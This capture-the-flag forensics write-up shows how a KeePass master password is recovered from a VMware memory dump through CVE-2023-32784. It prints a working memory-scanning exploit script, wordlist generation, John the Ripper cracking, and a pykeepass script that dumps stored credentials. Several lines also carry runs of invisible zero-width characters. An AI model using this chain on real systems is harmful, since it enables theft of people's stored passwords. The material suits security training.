← Back to Writeups
CUSTOMMediumForensics

Самосаботаж (Self-Sabotage)

XESXOR9/2/20266 min read
#forensics#custom#medium#keepass_hash_cracking#keepass_memory_leak#leet_bruteforce#vmem_analysis#cve-2023-32784#linux

Самосаботаж (Self-Sabotage)

Platform: duckerz | Category: Forensics | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-02-11 | Status: Solved Techniques: keepass_hash_cracking, keepass_memory_leak, leet_bruteforce, vmem_analysis

Summary

Task: VMware memory snapshot with KeePass database. Solution: Exploited CVE-2023-32784 to extract master password characters from memory, generated leet-speak wordlist, cracked KeePass hash with John the Ripper.

Самосаботаж (Self-Sabotage) — duckerz CTF

Description

Я - гений самосаботажа. Поставил безумно сложный пароль на менеджер паролей, торжественно его забыл, а теперь не могу зайти даже в свой кошелек с мемами. Чудом угадал комбинацию, спасибо мышечной памяти. Я даже сделал снапшот на всякий случай.

"I'm a genius of self-sabotage. Set an insanely complex password on my password manager, ceremoniously forgot it, and now I can't even access my meme wallet. Miraculously guessed the combination, thanks to muscle memory. I even made a snapshot just in case." ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Category: Forensics
Difficulty: Medium
Points: 300
Author: pigadoor
File: forgotten.zip → forgotten/kdbx.vmem (1 GB VMware memory snapshot)

Analysis

Step 1: File Identification

bash
$ unzip forgotten.zip
$ ls -lh forgotten/
-rw-r--r-- 1 user user 1.0G kdbx.vmem

$ file forgotten/kdbx.vmem
kdbx.vmem: data  # VMware memory snapshot

The .vmem file is a VMware virtual machine memory dump. Size is 1 GB.

Step 2: Reconnaissance with strings

bash
$ strings -el kdbx.vmem | grep -i keepass
KeePass Password Safe 2
c:\program files\keepass password safe 2\keepass.exe
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

$ strings -el kdbx.vmem | grep -i "\.kdbx"
C:\Users\pigad\Desktop\MyPasswords.kdbx

$ strings -el kdbx.vmem | grep -i "download.*kdbx"
https://download.tasks.duckerz.ru/KDBX/MyPasswords.kdbx

Key findings:

  • KeePass Password Safe 2 (version 2.52) installed on the machine
  • Password database: C:\Users\pigad\Desktop\MyPasswords.kdbx
  • User: pigad (pigadoor — task author)
  • URL for downloading the kdbx file

Step 3: Obtaining the KeePass Database

bash
$ wget https://download.tasks.duckerz.ru/KDBX/MyPasswords.kdbx

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The .kdbx file is an encrypted KeePass database; a master password is required to open it.

Solution

Step 4: CVE-2023-32784 — Master Password Leak from Memory

KeePass 2.x before version 2.54 has a critical vulnerability: when entering the master password, the SecureTextBoxEx component creates .NET strings in memory like ●●●X (bullet characters + last typed character). These strings remain in memory and allow recovering the password character by character.

Key points:

  • The first character is NOT recoverable (0 bullets = no pattern)
  • Each position may have multiple candidates
  • Bullet ● in UTF-16LE = 0x25CF ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
python
#!/usr/bin/env python3
"""
CVE-2023-32784 exploit — extracting KeePass master password from memory dump.
Scans vmem file for ●●●X patterns (bullet + typed char).
"""
import re
from collections import defaultdict

BULLET = b'\xcf\x25'  # ● in UTF-16LE

def extract_keepass_password(vmem_path):
    with open(vmem_path, 'rb') as f:
        data = f.read()
    
    candidates = defaultdict(set)
    
    # Search for patterns: N bullets + 1 character (UTF-16LE)
    # Each bullet = 2 bytes (CF 25), character = 2 bytes
    for match in re.finditer(b'(?:\xcf\x25)+[^\xcf][\x00-\x7f]', data):
        seq = match.group()
        n_bullets = seq.count(b'\xcf\x25')
        if n_bullets < 1 or n_bullets > 100:
            continue
        # Last 2 bytes — the character
        char_bytes = seq[-2:]
        try:
            char = char_bytes.decode('utf-16-le')
            if char.isprintable() and not char == '●':
                candidates[n_bullets].add(char)
        except:
            pass
    
    # Output results
    if not candidates:
        print("No candidates found")
        return
    
    max_pos = max(candidates.keys())
    print(f"Password length: ~{max_pos + 1} chars (position 0 unknown)")
    
    for pos in range(1, max_pos + 1):
        chars = candidates.get(pos, {'?'})
        print(f"  Position {pos}: {sorted(chars)}")
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

extract_keepass_password('forgotten/kdbx.vmem')

Scan Results

The script recovered 91 positions (positions 1-91, position 0 unknown). From the candidates, a phrase emerges:

??WhyDoIKeepForgettingPasswordsMaybeIShouldJustUsePassword123ButThatsTooBasicSoHereWeGoAgain

Total password length: 92 characters (2 unknown prefix characters + 90-character phrase).

Many positions had alternative leet-speak candidates:

  • e ↔ 3
  • o ↔ 0
  • I ↔ 1
  • a ↔ 4

Step 5: Extracting the KeePass Hash

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

bash
$ keepass2john MyPasswords.kdbx > kdbx_hash.txt
$ cat kdbx_hash.txt
MyPasswords:$keepass$*2*60000*0*0e11ba1745e05e854abdba181fc6201e79c0996a3fc9747fa0a28011fb122db0*...

Parameters: KeePass v2, 60000 iterations SHA256+AES — slow hash (~176 p/s on CPU).

Step 6: Generating Wordlist with Leet-Speak Variants

python
#!/usr/bin/env python3
"""
Wordlist generation from CVE-2023-32784 recovered candidates.
Iterating through leet-speak combinations for each position.
"""
import itertools

# Base phrase with alternatives for each position
# Format: list of candidate lists for each position
phrase_candidates = [
    # Positions 0-1: unknown (trying common variants)
    list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#"),
    list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#"),
    # Positions 2+: recovered candidates (with leet variants)
    ['W'], ['h'], ['y'], ['D'], ['o', '0'],  # WhyDo
    ['I', '1'], ['K'], ['e', '3'], ['e', '3'], ['p'],  # IKeep
    # ... (all 90 positions with candidates)
]
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Generating ~2M combinations
with open('wordlist.txt', 'w') as f:
    for combo in itertools.product(*phrase_candidates):
        f.write(''.join(combo) + '\n')

print(f"Generated {sum(1 for _ in open('wordlist.txt'))} candidates")

Total generated: ~2 million candidates.

Step 7: Cracking with John the Ripper

bash
$ john --wordlist=wordlist.txt kdbx_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

<CRACKED_PASSWORD>   (MyPasswords)

1g 0:00:XX:XX DONE (2026-02-11) 176.3p/s
Session completed

Speed ~176 passwords/sec due to 60000 KeePass iterations. Password found!

Step 8: Opening the KeePass Database

python
#!/usr/bin/env python3
from pykeepass import PyKeePass

kp = PyKeePass('MyPasswords.kdbx', password='<CRACKED_PASSWORD>')

for entry in kp.entries:
    print(f"Title: {entry.title}")
    print(f"Username: {entry.username}")
    print(f"Password: {entry.password}")
    print("---")

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

KeePass Database Contents

TitleUsernamePassword
InfiniteProcrastinationPortalWobblyPigeon1k9IllSetThePasswordLaterMaybeTomorrowOrNextWeek
CatVideoSyndicateSneakyTaco24DUCKERZ{REDACTED}
ThisIsNotAPasswordManagerQuantumFrog2n7JokesOnYouIStoreAllMyPasswordsInATextFileCalledSafe
GiggleMuffinUniversityDiscoSloth7p3GraduatedWithHonorsI...

The flag was in the CatVideoSyndicate entry.

Reference

CVE-2023-32784 (KeePass SecureTextBoxEx Memory Leak)

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  • Affected versions: KeePass 2.x before 2.54
  • Issue: When entering password in SecureTextBoxEx, .NET creates intermediate strings ●●●X in memory
  • What's recoverable: All characters except the first (position 0 has no bullets)
  • Bullet: ● = U+25CF, in UTF-16LE = 0xCF 0x25
  • Limitations: May have false positives, multiple candidates per position
  • Fixed: In KeePass 2.54 (June 2023)

Attack Chain

VMware snapshot (.vmem)
    → strings / CVE-2023-32784 scan
        → Partial master password recovery
            → Leet-speak wordlist generation
                → keepass2john + John the Ripper
                    → pykeepass → FLAG

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Useful Tools

bash
# Reconnaissance in memory dump
strings -el dump.vmem | grep -i keepass
strings -el dump.vmem | grep -i "\.kdbx"

# Extracting KeePass hash
keepass2john database.kdbx > hash.txt

# Cracking the hash
john --wordlist=wordlist.txt hash.txt
hashcat -m 13400 hash.txt wordlist.txt

# Opening database from Python
pip install pykeepass

Alternative Tools for CVE-2023-32784

  • keepass-dump-masterkey — original PoC in C#
  • keepass-password-dumper — Python version
  • Custom script (as in this solution) — more control over candidates ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍